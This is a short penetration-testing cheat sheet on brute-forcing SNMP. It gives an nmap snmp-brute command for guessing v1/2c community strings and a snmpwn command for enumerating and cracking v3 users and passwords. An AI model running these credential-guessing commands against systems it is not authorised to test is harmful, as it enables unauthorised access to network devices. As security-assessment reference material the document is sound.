SNMP Brute-Force
Version 1/2c
Generate a custom community wordlist then brute-force using the nmap NSE script.
nmap -n -sU <HOST> --script snmp-brute --script-args snmp-brute.communitiesdb=<WORDLIST FILE>
Version 3
Use the following tool to try to enumerate users and brute-force the password using wordlists: https://github.com/hatlord/snmpwn
./snmpwn.rb -h hosts.txt -u users.txt -p passwords.txt -e passwords.txt